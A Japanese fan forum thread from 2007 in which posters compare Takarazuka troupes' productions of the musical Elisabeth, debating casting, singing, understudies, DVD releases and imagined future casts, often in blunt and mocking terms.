546 ：名無しさん＠花束いっぱい。：2007/09/29(土) 18:33:41 ID:NH+eN0vd

エリザは歌でひっぱってく作品だと個人的には思う・・・
本が良くできた舞台だとは思えないので
歌がダメだとほんとに紙芝居になってしまう。
最低限、歌えるキャストを揃えて欲しい。
水トートは最初に出たセフィロス画像が一番良かった。
舞台で見ると言われてるほどビジュアルＯＫでもなかった
やっぱりアゴは気になった
(出てきた瞬間、トートだ！じゃなくミズだぁ、と思ってしまった)
ごめんよ水しゃん
でも今回の雪はマンガ的という意味では一番はまってたよ

547 ：名無しさん＠花束いっぱい。：2007/09/29(土) 20:12:58 ID:nEbDlDx3

>なんでトップが、しかも良いミューで歌下手やねん
しょっちゅうそんなこと言いながら見に行くから。

548 ：名無しさん＠花束いっぱい。：2007/09/30(日) 01:30:32 ID:WpnoULL2

>>540
ダチョウ倶楽部の「ヤーッ！」に見えたwww
禿わろた　

549 ：名無しさん＠花束いっぱい。：2007/10/01(月) 09:01:23 ID:LS2xEpke

今回の雪エリザはいけてない人たち(トート、シシィ、ルドルフ、革命家、死刑囚の母)と
いいと思える人たち(フランツ、ルキーニ、ゾフィ)のギャップがすごかったなあ。
でもここまでトップコンビがひどいと、やっぱり作品としては評価できない。
そんなにひどくなかったって評価する人もいるけど、
爬虫類のようなビジュアルと暑苦しい演技に歌が下手なトートなんてやっぱり最悪だし、
ただのお嬢さんにしか見えず、孤独の演技をワンパターンしか持たない丸顔シシィなんて、もはやシシィじゃない。
薄っぺらい演技で誉められるところはビジュアルだけのルドルフも……。

550 ：名無しさん＠花束いっぱい。：2007/10/02(火) 19:17:15 ID:XjYh0QED

まだテルのルドルフのがマシ。キングルドルフより

551 ：名無しさん＠花束いっぱい。：2007/10/02(火) 22:31:26 ID:EcyeRByj

月も大概だったが、「捨て切れない何か」が各人にあって、絶妙なバランスを保ってた(ジェンガのようｗ)のでまだ見られた。
雪はいい人と微妙な人の落差が激しかった。

552 ：名無しさん＠花束いっぱい。：2007/10/04(木) 21:05:19 ID:QDD0v33B

月はたいがいだった。生では彩輝さん、きれいだとか楽しめたが、もっとかわいいエリザが見たいと思った。
DVDになるともう、２回目見返すことはない。今となったら、あさこエリザのインパクトの強さのみ印象に残っている。
きりやんは上手かったが、私の持つイメージとずれていた。

553 ：名無しさん＠花束いっぱい。：2007/10/12(金) 08:50:27 ID:FpJloZ9Z

お年寄りにはミッフィーがいるわ♪

だと思ってた。DVDで字幕見るまで。

554 ：名無しさん＠花束いっぱい。：2007/10/12(金) 10:04:16 ID:iSRIfdSW

今回の雪組、特に水夏希、白羽ゆり、音月桂らはエリザベートの作品価値を大きく下げた事は決して否定できません。
今や宝塚歌劇団を代表する作品ですから、もっと大切に再演して欲しいものです。
最低限歌が上手く歌えるキャストが揃う、そこからの話だと思います。
歌すらも上手く歌えないのに、人間味だビジュアルだ、目線に爪や手のタトゥーっがどうのこうの、負け惜しみでいい訳がましくて見苦しい限りです。

555 ：名無しさん＠花束いっぱい。：2007/10/12(金) 12:14:06 ID:uV7gZrj8

やっぱりあさこｼｼｨすごいよかったな～

556 ：名無しさん＠花束いっぱい。：2007/10/12(金) 21:10:20 ID:JJckYIJ/

歴代でエリザを貶めたのは
星トート、月エリザ全体、雪再演トートとシシィ。
キムのルキーニは、トドには負けるけどきりやんより上手かったよ。
月エリザはゾフィ以外誰１人まともに歌を聞かせられる人がいなくて最悪だった。
キリヤンですら、体調不調か歌が全然良くなかった。

557 ：名無しさん＠花束いっぱい。：2007/10/12(金) 22:51:07 ID:G3it3pvp

>>542
月組は新品を買う気はないんだね。
宙組と花組はずーっと新品が売れ続けていつも上位ランクインしてるけど。

558 ：名無しさん＠花束いっぱい。：2007/10/12(金) 23:48:24 ID:ueqkPe0f

>556
キムのルキーニ観て、ベースがキリルキだと思った

559 ：名無しさん＠花束いっぱい。：2007/10/13(土) 13:00:58 ID:RG3TopAC

>>558同意。

560 ：名無しさん＠花束いっぱい。：2007/10/13(土) 22:18:57 ID:qe9fvQrZ

きりルキもキムルキも悪くないが、樹里ルキを観てしまったら
もの足りなくなった。自分のイメージにぴったりだったんだ、樹里ルキ。

561 ：名無しさん＠花束いっぱい。：2007/10/19(金) 22:56:24 ID:+Gu7WxOC

>>556と好みが真逆すぎてなんかウケた

562 ：名無しさん＠花束いっぱい。：2007/10/22(月) 20:53:02 ID:lr5PhyTx

アサコｼｼｨ凄いでかくて顔長くておかまだったｗｗｗｗ
一番最低かな。

563 ：名無しさん＠花束いっぱい。：2007/10/22(月) 21:59:25 ID:N/lVaBub

キムのルキー二ただ勘違いしたガキが吠えてるだけにしか
見えなかったし、
普段のキムが見え隠れしていやだった。こう来るだろうなと予想できる
演技だったから見ててイライラした。自己満足の演技は一番嫌いだ

564 ：名無しさん＠花束いっぱい。：2007/10/22(月) 23:34:48 ID:oL3/Dyre

水しゃんって素顔の方がいいと思う。
大浦みずきの再来って言われてるんだよね？
通ううちに歌もマシになってきたし。（オスカルにはこけたよ・・・）
そもそもハスキーな声質が歌にはむいてないのかも。
これからの演技を期待するー。

ちょっと擁護してみた。

565 ：名無しさん＠花束いっぱい。：2007/10/23(火) 00:08:52 ID:4CKuPDhG

月組エリザDVD買う勇気ありません…

566 ：名無しさん＠花束いっぱい。：2007/10/23(火) 00:11:20 ID:s9cDNyoT

やっぱり、安蘭＆遠野でエリザやるべきじゃない？

567 ：名無しさん＠花束いっぱい。：2007/10/23(火) 00:40:25 ID:UGD360Wd

賛成！！！
星組でエリザ、二人で退団がベスト。

568 ：名無しさん＠花束いっぱい。：2007/10/23(火) 01:23:13 ID:qCJF/zxj

とうこのトートは恥ずかしいからヤメレ。

569 ：名無しさん＠花束いっぱい。：2007/10/23(火) 05:08:46 ID:mze3a/28

歌上手いからいいじゃん!!!!!!ミーﾀﾝはルドルフがいい!!!ミーﾀﾝルドルフミーﾀﾝルドルフミーﾀﾝルドルフ!!!!!!

570 ：名無しさん＠花束いっぱい。：2007/10/23(火) 07:00:30 ID:mze3a/28

ミーﾀﾝは王子様だからルドルフがぴったりなの(o*'v`b)b

571 ：名無しさん＠花束いっぱい。：2007/10/23(火) 09:29:02 ID:OetH/RuQ

おそろしくおそろしく亀レスだが
初演時女帝の衣装、大阪江坂の某生地屋さんに
写真付きで「この生地です」と紹介されていた。
メーター1000円くらいだったわよ。

572 ：名無しさん＠花束いっぱい。：2007/10/23(火) 12:31:46 ID:UUVWhbDi

誰がなんと言おうと月エリザが一番好きだー

573 ：名無しさん＠花束いっぱい。：2007/10/23(火) 23:54:57 ID:bp6En30u

あさこシシィ、芝居が上手かったよね。
演技力で勝負できる良い女優さんになってほしいな。

574 ：名無し：2007/10/24(水) 00:46:29 ID:2Xz+vzEa

花エリザで休演したあすかの代わりにエトワールは華城さんだったみたいだけど、ヴィンデッシュは誰だったの？

575 ：名無しさん＠花束いっぱい。：2007/10/24(水) 01:31:03 ID:Z0wcfImP

湖月わたるのルキーニってカスやん！？ざけてんのか？？なにあれ？改めてルキーニは理事だろとｵﾓﾀ

576 ：名無しさん＠花束いっぱい。：2007/10/24(水) 11:43:50 ID:3Dr/I2hd

一花だった気がする＞花ｳﾞｨﾝﾃﾞｨｯｼｭ代役

577 ：名無しさん＠花束いっぱい。：2007/10/24(水) 12:47:02 ID:+yUTgmgg

いまさらだけどズンハナコンビは良かったなぁ
ずんちゃんのリードで踊る花ちゃんは可憐で
どの相手役と組んだ時よりかわいく見える。
じつはゆき花も好きなんだけど

578 ：名無しさん＠花束いっぱい。：2007/10/24(水) 12:47:33 ID:+yUTgmgg

577は誤爆ですスマソ・・・

579 ：名無しさん＠花束いっぱい。：2007/10/25(木) 19:17:27 ID:3BzvwGNR

とうこがやるとトートが演歌っぽくなるのでやめてほしい

580 ：名無しさん＠花束いっぱい。：2007/10/25(木) 22:54:12 ID:h+IIzMzg

来年一月スカステでエリザ(水除く)一挙放送だって

581 ：名無しさん＠花束いっぱい。：2007/10/25(木) 23:02:19 ID:8mr1otU/

>>574
花エリザ休演時は
ヴィンディッシュ　あすか→一花
親族の娘　あすか→ナル
スペインの美女　あすか→ナル
エトワール　あすか→ナル

582 ：名無し：2007/10/26(金) 00:59:41 ID:a9fmkYrh

ありがとうございます。一花のヴィンデッシュかぁ。どうだったんだろ…。

583 ：名無しさん＠花束いっぱい。：2007/10/26(金) 01:03:00 ID:8mXUyoaF

じゃあみどりちゃん休演であすかが代役したときは
あすかのとこに誰が入ったの？

584 ：名無しさん＠花束いっぱい。：2007/10/26(金) 01:53:46 ID:2gFYxMvh

んっ？581さんが書いてくれてるよ

585 ：名無しさん＠花束いっぱい。：2007/10/27(土) 13:26:49 ID:B1pyYSi3

>>583
ナルのとこって聞きたいのかな？

586 ：名無しさん＠花束いっぱい。：2007/10/27(土) 23:00:31 ID:wbO4oE3D

今更ごめん、583だけど、574にあすか休演時、とあったから、あすか本人が休演した時と、
みどり休演であすかがシシイに入った時と、2パターン代役があったのかも？と
勘違いしちゃったよ。お騒がせしますた。

587 ：名無しさん＠花束いっぱい。：2007/10/31(水) 18:47:25 ID:KZnb+h12

初風緑のフランツが好き

588 ：名無しさん＠花束いっぱい。：2007/11/01(木) 00:31:57 ID:szUfgpHd

月エリザは彩輝＆瀬奈がブッ壊してる…
この２人破壊力抜群

589 ：名無しさん＠花束いっぱい。：2007/11/01(木) 00:54:41 ID:ivw1TDKc

ゴツいあさこシシィはトートも刺せた

590 ：名無しさん＠花束いっぱい。：2007/11/01(木) 01:01:59 ID:EqCeikEY

月エリザ代役

きりやんトート
るいるいシシィ
ガイチフランツ
見たかった…………

591 ：名無し：2007/11/01(木) 01:05:06 ID:cR4kNTe0

月エリザ他のゾフィとかは代役だれなんですか？

592 ：名無しさん＠花束いっぱい。：2007/11/01(木) 02:12:41 ID:szUfgpHd

５９０さん

同意
トートきりやん
シシィるい
フランツがいちさん
るきーにゆうひ
るどるふさららん

593 ：名無しさん＠花束いっぱい。：2007/11/01(木) 09:40:08 ID:9ZCO+fnb

あさこシシィ・・・体はでかくても、
ハナちゃんと同じくらい繊細で神経質なシシィだったよ。

594 ：名無しさん＠花束いっぱい。：2007/11/01(木) 17:23:58 ID:S5lpPxOp

ゆうひのルキーニ・・・アドリブで可愛い娘ちゃん探しに必死になりそうだｗ

595 ：名無しさん＠花束いっぱい。：2007/11/02(金) 01:18:32 ID:BCykWYIy

花エリザとよくかいてあるけど、花組のエリザって事ね。
花組のエリザは誰がやったんですか？
ついでにトートは？

596 ：名無しさん＠花束いっぱい。：2007/11/02(金) 03:51:38 ID:sQBMs9MD

>>595
花組エリザベート
トート春野寿美礼
シシィ大鳥れい
フランツ樹里咲穂
ルキーニ瀬奈じゅん
ルドルフ彩吹真央
ゾフィー夏美よう

597 ：名無しさん＠花束いっぱい。：2007/11/02(金) 09:50:59 ID:tFinZhpf

花エリザ結構良いよ。ＤＶＤ買ってみてもいいんじゃない。

598 ：名無しさん＠花束いっぱい。：2007/11/02(金) 17:24:27 ID:Mjf3kUpC

初演雪・宙・花は買い

599 ：名無しさん＠花束いっぱい。：2007/11/02(金) 17:50:32 ID:2T/XSfmF

花組エリザはムラが好み。
東京がよかったと二手にわかれるから、両方見ることおすすめ。

600 ：名無しさん＠花束いっぱい。：2007/11/02(金) 18:12:07 ID:9LK+i5ma

初演雪、星、月が好きだがきっとﾏｲﾉﾘﾃｨなんだろうなぁ。

601 ：名無しさん＠花束いっぱい。：2007/11/02(金) 18:38:51 ID:OHF9Yr+C

水主演エリザは新公含めカスなので無かった事にしてください

602 ：名無しさん＠花束いっぱい。：2007/11/02(金) 18:47:29 ID:5mFLTbqU

初演雪、宙、再演雪が好き。再演雪は自分でもなんでかわからないけど好きだな。とりあえず初演雪は嫌いな人少ないような

603 ：名無しさん＠花束いっぱい。：2007/11/02(金) 18:54:52 ID:fknvTBpO

>初演雪は嫌いな人少ないような
好き嫌いを超えて敬意を表するって感じかなあ。
なんか見る時正座しちゃう。

604 ：名無しさん＠花束いっぱい。：2007/11/02(金) 23:03:29 ID:BCykWYIy

596さんありがとう！
花組エリザＤＶＤで見たいです。

605 ：名無しさん＠花束いっぱい。：2007/11/02(金) 23:09:49 ID:tFinZhpf

花エリザは12600円

606 ：名無しさん＠花束いっぱい。：2007/11/02(金) 23:10:51 ID:Ue/MJoN9

好みはあるだろうが、初演雪ががんばったからこそ何度も再演される
ヅカの看板作品になったともいえる
1幕フィナーレはトートは銀橋から登場とかルドルフの御棺に立つとか
演出的に完成されたな、と思ったのは星

607 ：名無しさん＠花束いっぱい。：2007/11/02(金) 23:22:41 ID:YGc0zHFI

>>605
今なら○天BOO○Sがキャンペーン26%引き中で、
\9,324だ。

608 ：名無しさん＠花束いっぱい。：2007/11/03(土) 09:29:11 ID:hVls54jS

演出の事がなければ花好きって人多そう。
本当にあの演出はネック

609 ：名無しさん＠花束いっぱい。：2007/11/03(土) 11:36:02 ID:yudG5Idg

花エリザ新公が見たい！！

610 ：名無しさん＠花束いっぱい。：2007/11/03(土) 16:17:57 ID:Rm2Dy2FP

花エリザは新公は蘭トムトートだよね。
初演雪エリザ新公は安蘭けいトートだべな。

611 ：名無しさん＠花束いっぱい。：2007/11/03(土) 18:22:51 ID:yudG5Idg

やっぱ次は星エリザでしょう！
あすかシシィでガツンと！

612 ：名無しさん＠花束いっぱい。：2007/11/03(土) 20:09:10 ID:zgSw0cFI

>>590
フランツだけは代役いないの？

613 ：名無しさん＠花束いっぱい。：2007/11/03(土) 20:20:17 ID:Rm2Dy2FP

フランツは代役いらないと思うよ。ガイチさんのフランツは良かったから。

614 ：名無しさん＠花束いっぱい。：2007/11/03(土) 20:45:20 ID:U5z56WN8

>613
そういう問題じゃなくて、万が一の時に必ず代役を用意してたはず

考えてみたらアサコはトート（花時代代役）、シシィ、ルキーニ、と
やってんのか

615 ：名無しさん＠花束いっぱい。：2007/11/04(日) 01:34:34 ID:0Af88oaR

やっぱり再演あるんすかね…ついに念願の安蘭トートか…

616 ：名無しさん＠花束いっぱい。：2007/11/04(日) 13:42:36 ID:adcx0LKL

でも劇団は何を考えてるかわかんない、っつーか理解しがたいから

617 ：名無しさん＠花束いっぱい。：2007/11/04(日) 15:57:55 ID:rwlmXCGx

再演雪エリザを観て思った。

雪組かなめ以下の男役路線、歌えるのいない・・・・・。

618 ：名無しさん＠花束いっぱい。：2007/11/04(日) 18:19:31 ID:sln/VV3o

雪下級は歌だけじゃなく他も下手な奴等ばっか。

619 ：名無しさん＠花束いっぱい。：2007/11/04(日) 21:08:15 ID:MDNxUhMS

>>571
うま～くダンスでひるがえって素敵にみえるデザインにしてあって。
総スパンの服とかでも何でも、ヅカの衣装は遠目にキラキラきれいだけど、
生地じたいは実にペランペランの安物だよね。
おそるべし、ライトの魔力！

620 ：名無しさん＠花束いっぱい。：2007/11/05(月) 00:30:57 ID:opQ1sxXI

http://moo.ru/temp/kane.jpg

621 ：名無しさん＠花束いっぱい。：2007/11/05(月) 10:54:51 ID:RjpX60Ft

>614
それいったらゆみこは
トート(雪代役)、フランツ、ルドルフ、エルマー新公)、シュテファン(新公)、黒天使
とルキーニ以外制覇しとるw
あ、たかこもトート(宙代役)、フランツ、ルドルフ、エルマー制覇か。

622 ：名無しさん＠花束いっぱい。：2007/11/05(月) 11:48:20 ID:EO5mbrOr

ゆみこもたかこもすごい…

623 ：名無しさん＠花束いっぱい。：2007/11/05(月) 12:37:43 ID:f1iRzmTb

>621
それはそうなんだが、トートとシシィ両方の経験は
なかなか出来無い

624 ：名無しさん＠花束いっぱい。：2007/11/05(月) 13:42:44 ID:EO5mbrOr

次に本当に星でやるならこれ？？
トート…安蘭けい
エリザベート…遠野あすか
フランツ…柚希礼音
ルキーニ…立樹遥
ルドルフ…涼紫央
エルマー…和涼華
これでいいんすかね？

625 ：名無しさん＠花束いっぱい。：2007/11/05(月) 13:47:47 ID:62K5wn5I

ルドルフは和くんで観てみたい…

626 ：名無しさん＠花束いっぱい。：2007/11/05(月) 13:56:38 ID:SwjS+Hzx

あれ？あすかは花エリザに出ていた記憶が…
エトワールやってたよね

627 ：名無しさん＠花束いっぱい。：2007/11/05(月) 14:02:32 ID:f1iRzmTb

考えてみた

トート…安蘭けい
エリザベート…遠野あすか
フランツ…立樹遥
ルキーニ…柚希礼音
ルドルフ…和涼華
エルマーもしくはマダムヴォルフ…涼紫央

こんなとこでは？
ルキーニの方がフランツより後に階段降りするけど
ウィーン版ではカーテンコールはルキーニの方が後だから
いいんじゃないか

>626
出てた

628 ：名無しさん＠花束いっぱい。：2007/11/05(月) 14:23:19 ID:62K5wn5I

とよこゾフィは、いかがでしょう？

629 ：名無しさん＠花束いっぱい。：2007/11/05(月) 14:36:31 ID:EO5mbrOr

とよこはんはやっぱりルドルフがいいかな…ゾフィは副組長で見たいです。

630 ：名無しさん＠花束いっぱい。：2007/11/07(水) 20:32:09 ID:kel74LAQ

星エリザって何かイイ

631 ：名無しさん＠花束いっぱい。：2007/11/07(水) 23:44:20 ID:c1R8mP/A

情報スレでも話題になってた。とうこトートも悪くないけど、ちえトートあすかエリザも興味あるなー

632 ：名無しさん＠花束いっぱい。：2007/11/08(木) 21:19:26 ID:MPBmQAAR

花組新公エリザ見たことある人いますかー？

633 ：名無しさん＠花束いっぱい。：2007/11/08(木) 23:24:05 ID:mXBPKS2p

はい。本当に幸運にもチケットが手に入り観ることができました。そーいえば近くに植田先生もいて…違った意味で緊張しました…

634 ：名無しさん＠花束いっぱい。：2007/11/09(金) 01:06:17 ID:KO/udbcv

あすかちゃんシシィがとても良かったとのことですが芝居もナンバーも
となみちゃんと比べてどうなんでしょう？

635 ：名無しさん＠花束いっぱい。：2007/11/09(金) 01:19:56 ID:7h889rOD

んー難しい質問ですね。あすかちゃんがシシィしたのは確か研4か5だったので今回のとなみちゃんと比べることは出来ないと思う。ごめんよー。幸い花エリザ新公はビデオが発売されてるので一度,見てから考えてみてはいかがでしょうか？

636 ：名無しさん＠花束いっぱい。：2007/11/09(金) 01:31:02 ID:KO/udbcv

それがビデオは既に完売。。。オークションでもでておらず（泣）
あすかちゃんシシィ、見たかったなぁー

637 ：名無しさん＠花束いっぱい。：2007/11/09(金) 01:40:37 ID:7h889rOD

えっ?!完売してたんですか？知らなかったー。じゃあDVDで以前月組が上演してた時期に注文販売みたいな形でエリザベートボックス？というのがあるのですが,それは持っておられませんか？その中に抜粋ですが花新公ありますよ

638 ：名無しさん＠花束いっぱい。：2007/11/09(金) 01:43:10 ID:KO/udbcv

そうなんですか！すみません、疎くて。。
早速調べてみます！！ありがとうございました。

639 ：名無しさん＠花束いっぱい。：2007/11/10(土) 00:35:12 ID:8K1ijJtQ

ウィーン版エリザベートの歌詞が載ってるサイトあったら教えてください。

640 ：名無しさん＠花束いっぱい。：2007/11/10(土) 11:49:06 ID:Ws6AL2ZO

瞳子トート見た～い

641 ：名無しさん＠花束いっぱい。：2007/11/10(土) 14:44:12 ID:j/nudm6A

来年のスカイステージでエリザ各組オンエアー　おめ！

642 ：名無しさん＠花束いっぱい。：2007/11/10(土) 19:01:38 ID:zakM6Hyy

>639
ウィーンオリジナルキャスト版ＣＤに
完全ドイツ語歌詞とそれの日本語訳の本がついているから
ＣＤを買うことをおすすめします

643 ：名無しさん＠花束いっぱい。：2007/11/10(土) 21:29:38 ID:0cTZ5XuT

>611 >615 >640
個人的に星観たいが
トップ以外の番手男役の歌がネックと思うのは
俺だけか？

644 ：名無しさん＠花束いっぱい。：2007/11/10(土) 21:45:52 ID:Ws6AL2ZO

いえいえ、あなただけではありませんよ。僕もです。

645 ：名無しさん＠花束いっぱい。：2007/11/11(日) 00:44:05 ID:Sq+YvjAR

>>642
ありがとう、そうする。

646 ：名無しさん＠花束いっぱい。：2007/11/11(日) 11:35:16 ID:IJW9v8Da

ウィーンオリジナルキャスト盤は全曲収録じゃないよ

647 ：名無しさん＠花束いっぱい。：2007/11/11(日) 18:41:49 ID:5JWkhPPQ

花エリザDVDに新公映像はありますかー？

648 ：名無しさん＠花束いっぱい。：2007/11/11(日) 18:43:59 ID:TpKv9mOS

ないよー！

649 ：名無しさん＠花束いっぱい。：2007/11/11(日) 18:46:53 ID:5JWkhPPQ

蘭とむ＆あすかの新公が見たいー！

650 ：名無しさん＠花束いっぱい。：2007/11/11(日) 18:51:32 ID:TpKv9mOS

うちに来いー！

651 ：名無しさん＠花束いっぱい。：2007/11/11(日) 18:56:24 ID:5JWkhPPQ

行きたいー！
んじゃあ教えてください。あすかちゃんの「私だけに」はどうですかっ？？

652 ：名無しさん＠花束いっぱい。：2007/11/11(日) 19:01:20 ID:UFbi+9ZX

すごく上手でしたよーだからこそ,あすかちゃんシシィ観たい!

653 ：名無しさん＠花束いっぱい。：2007/11/11(日) 19:06:01 ID:5JWkhPPQ

そうなんですか！エリザが星にやってくるのはいつなんでしょうねー。
とうあすのエリザがほんっと見たい！！

654 ：名無しさん＠花束いっぱい。：2007/11/12(月) 18:05:53 ID:bFOC6zW5

いや、だから
トップ以外が問題
もしかしたら、トップ以外は初代星よりタイヘンなことになるのでは
レオン含めそれ以下の組換えを望む

655 ：名無しさん＠花束いっぱい。：2007/11/12(月) 23:16:56 ID:1i9k6AeI

見た目、芝居はよさ気だが、肝心の中心人物のお歌が悲惨。
ハマコ、ゆみこ、きりやん辺りをレンタルしたい所だ。
いっそベルばらみたいに特出可にしないか？と真剣に考えるｗ

656 ：名無しさん＠花束いっぱい。：2007/11/13(火) 10:09:23 ID:XeNuWE1v

組の枠を超えたヅカ本気汁な先鋭混在チームで見たい
言うだけならタダさｗ
10周年ガラコンは歌えるエリザで非常によかった

657 ：名無しさん＠花束いっぱい。：2007/11/13(火) 14:05:39 ID:r/tXSqBK

＞歌えるエリザ

つ【まりこさん】

658 ：名無しさん＠花束いっぱい。：2007/11/13(火) 15:56:40 ID:XeNuWE1v

あーあー何も見えない何も聞こえない(うωと)

659 ：名無しさん＠花束いっぱい。：2007/11/14(水) 01:02:22 ID:GfPbX78u

ちょうど今初代星エリザ見てますが

何か？

660 ：名無しさん＠花束いっぱい。：2007/11/14(水) 01:02:31 ID:zZgUkCMI

今のメンバーでやる各組エリザ。
花:鏡の間でオサトートは自分の姿に酔いしれ、歌いまくり。
　あやねシシィは鏡でフォーム確認しながら歌に合わせて綺麗に踊ってる。
月:かなみシシィを現世に帰す時や、たきゾフィー昇天時に黒天使が通常の1.5倍の人数で運んでる。
雪:となみシシィ、綱渡りどころか木登りができないので水トートに会わず。ただのハプスブルク家の歴史物語になる。
　トートがただの象徴でシシィに殆ど絡まない。二人の愛とか関係なし。
星:バートイシュルで何故か熱帯化。人が集まると必ず暑くなるので、客席で熱射病になる人続出。
宙:1幕ラストの鏡の間でタニ熱唱により銀橋崩壊。
本舞台の方は何とか耐えるも、私が踊るときで劇場崩壊。

♪最悪の事態に、なってしまった
のを想定。

661 ：レンタル一覧：2007/11/14(水) 15:37:18 ID:GfPbX78u

フランツにゆみこレンタル
ゾフィにはまこレンタルルキーニにきりやんレンタル
ルドルフにゆうひレンタル

662 ：名無しさん＠花束いっぱい。：2007/11/14(水) 17:04:23 ID:XOXOMiwK

>661
そのルドルフならみっちゃん吹き替えか、役がわりでｵﾅｶﾞｲ；

663 ：名無しさん＠花束いっぱい。：2007/11/14(水) 21:04:59 ID:GfPbX78u

では宙組から北翔海莉ルドルフをレンタル

664 ：名無しさん＠花束いっぱい。：2007/11/15(木) 02:32:17 ID:UGvrXJuv

蜒輔?ｯ譏･驥弱ヨ繝ｼ繝医′螂ｽ縺阪□縲?

665 ：名無しさん＠花束いっぱい。：2007/11/15(木) 16:56:39 ID:vMp4FNcT

いしちゃんにルキーニやってもらう！
もう一度みたい。
轟がでるならみにいくのにな。

666 ：名無しさん＠花束いっぱい。：2007/11/15(木) 16:58:17 ID:Xdyj9MBa

ageてまでいうことじゃないけれど
理事が唯一歓迎されそうな配役だよなルキーニ

667 ：名無しさん＠花束いっぱい。：2007/11/15(木) 18:31:48 ID:Fnm9H17S

>660
ｵｻﾄｰﾄ「♪ｴﾘ～ｻﾞﾍﾞ～行こうよ～二人で～♪」
あやねｼｼｨ「はい！あなたとご一緒なら、どこへでも☆」

最後通告の場面でいきなり昇天、完

668 ：名無しさん＠花束いっぱい。：2007/11/15(木) 18:42:25 ID:QI6XO3CO

エリザは一幕で終わってしまって、休憩を挟んでショー上演。
芝居で出番の殆ど無かったルドルフみわっちが狂ったように歌い踊る。

669 ：博多ブサっ娘キトリも太った身体でダンシング：2007/11/15(木) 18:59:53 ID:dfRWjuZ8

670 ：名無しさん＠花束いっぱい。：2007/11/16(金) 02:18:20 ID:yyCDuxs9

>>667息子の不倫相手の名台詞がこんなところでｗ

月エリザ。
ゆうひルキーニが可愛い娘を漁りに毎回客席降り。
星エリザ
黒天使の方がでかいのでいつも埋もれてるとうこ。歌声しか聞こえない。

671 ：名無しさん＠花束いっぱい。：2007/11/16(金) 17:49:11 ID:cQnHlAC7

美穂さんが皇太后かな

朱さん皇太后がエトワールやって
あの歌詞歌い上げるのが感慨深くて好きだったから
少し期待してしまう

672 ：名無しさん＠花束いっぱい。：2007/11/16(金) 22:53:08 ID:KVbVCS8i

余談

再演雪エリザ、トートとシシィが緑ハブと丸顔マングースに見える…

673 ：名無しさん＠花束いっぱい。：2007/11/16(金) 22:57:43 ID:hSiieAkg

つか再演雪はクズだからね。

674 ：名無しさん＠花束いっぱい。：2007/11/16(金) 22:58:55 ID:bmOQFJgN

初演雪も今みると、弱いよ。

675 ：名無しさん＠花束いっぱい。：2007/11/16(金) 23:25:29 ID:P2gGCo0D

全体的なレベルは、
花一番じゃない？
トーエリフラルキルドと歌える人だったし。エルも下手じゃないし。
ゾフィーはオーラがカバーしてたのでwww

676 ：名無しさん＠花束いっぱい。：2007/11/16(金) 23:29:08 ID:b6gyT8Xe

現星でエリザ、悪くないと思うが

677 ：名無しさん＠花束いっぱい。：2007/11/16(金) 23:31:55 ID:vqVD3wkY

>675
初演雪がレベルは高かった

678 ：名無しさん＠花束いっぱい。：2007/11/17(土) 00:09:26 ID:pzgUblrh

そうだね。全体のバランスなら花エリザが1番かな。初心者にも安心して見せられる。

679 ：名無しさん＠花束いっぱい。：2007/11/17(土) 00:19:44 ID:GPl7Ruw8

エリザは初演雪が一番よかったということに依存は全く無いが
フィナーレは今後再演されるとしてもおそらく一番ダサいであろう
ことにも依存はない

680 ：名無しさん＠花束いっぱい。：2007/11/17(土) 00:46:10 ID:p41h6cr6

やっぱ初演雪と花は主要キャストに歌アチャーがいないのが大きいよな。

>>679
細かくてすまんが「異存」だ

681 ：名無しさん＠花束いっぱい。：2007/11/17(土) 01:53:55 ID:Xer2VmSa

歌唱力:花
芝居:初演雪
衣装:月
演出はイケコ以外不可(というかノーモアB)

これくらいのレベルなら・・・個人のビジュアルは賛否両論あるからあえて触れないがｗ

フィナーレは月みたいなのがいいなぁ。
さえちゃんとあさこが幸せそうに踊ってて、かつ色気も適度に振り撒いてて。リフトは辛そうだったがあれが一番好きだ。

682 ：名無しさん＠花束いっぱい。：2007/11/17(土) 14:51:20 ID:pUdRWF36

初演雪は、今見るとミルクの場面のコーラスとか弱いなぁと思うけど
♪この手で掴みとろお～おお～お～っ！の
一路トート｢３段上げ｣は全組の中で一番カッコヨス！

683 ：名無しさん＠花束いっぱい。：2007/11/17(土) 15:36:54 ID:V7ObRF18

>>682
前から疑問だったんだけどその｢三段上げ｣って一路＆姿月トートしかやってないよね。
他の歌弱トートはともかく、なんでオサはやらなかったんだ？

684 ：名無しさん＠花束いっぱい。：2007/11/17(土) 15:39:00 ID:V7ObRF18

あげてしもたorz
逝ってきます…

685 ：名無しさん＠花束いっぱい。：2007/11/17(土) 18:04:21 ID:OyosyDSn

しょっぱなの音、つーか言葉の出がﾊﾞﾗﾊﾞﾗでもｲﾁﾛと理事が
歌いだして引っ張り始めるとﾋﾞｼｯと揃うのが初演雪の面白かったつーか
凄かった所だなw

ｱﾚで余計にﾄｰﾄとﾙｷｰﾆの操ってる感が増してたしw

686 ：名無しさん＠花束いっぱい。：2007/11/17(土) 18:32:11 ID:QTr3KuZs

フィナーレで一番良かったのは自分的には星組だな～～
男役の群舞しびれたし、マリコ＆あやかのデュエットは最高に素敵だった。

687 ：名無しさん＠花束いっぱい。：2007/11/17(土) 19:59:39 ID:Va2VoRSz

星組のフィナーレ良かったよね☆ぜひ今度再現してほしいなー。

688 ：名無しさん＠花束いっぱい。：2007/11/17(土) 20:44:51 ID:pzgUblrh

何度も見ちゃうのが初演雪、花、月。でも星と宙も嫌いというわけではありません。再演雪はカスなんで押し入れの奥に封印。

689 ：名無しさん＠花束いっぱい。：2007/11/17(土) 22:39:56 ID:M/4bHF9W

昔、わざとらしさが鼻について大嫌いだったユキさん。昨日久しぶりに初演雪エリザ見て、美しさや歌や濃すぎる演技にやられた。
時が経つと新しい発見があって楽しいね。

690 ：名無しさん＠花束いっぱい。：2007/11/18(日) 00:17:27 ID:3fZLsYAt

私はあやかちゃんが好きじゃなかったせいか
評判のいい星フィナーレのぺったりデュエダンが大の苦手だ・・・・
少数派でごめんよ。
好きなデュエットは宙エリザかな。
ズンちゃんがそっぽむいて手を差し出すのがすごくかわいい。
ずんちゃんと踊るお花様は本当に愛らしく似合ってて好きだった。

691 ：名無しさん＠花束いっぱい。：2007/11/18(日) 11:39:21 ID:W9n0lc/m

単なるあやか嫌いか。それじゃ良いものも良く見えないよな。

歌唱力の劣る組の方がフィナーレは何故か良い。

692 ：名無しさん＠花束いっぱい。：2007/11/19(月) 00:26:26 ID:I2eeYmlW

>>688漏れは押し入れの中に入れてやる余地もないと端から無視したよ。
ゆみことハマコの歌聞くだけならTCAミュージックやカフェブレで足りるし。

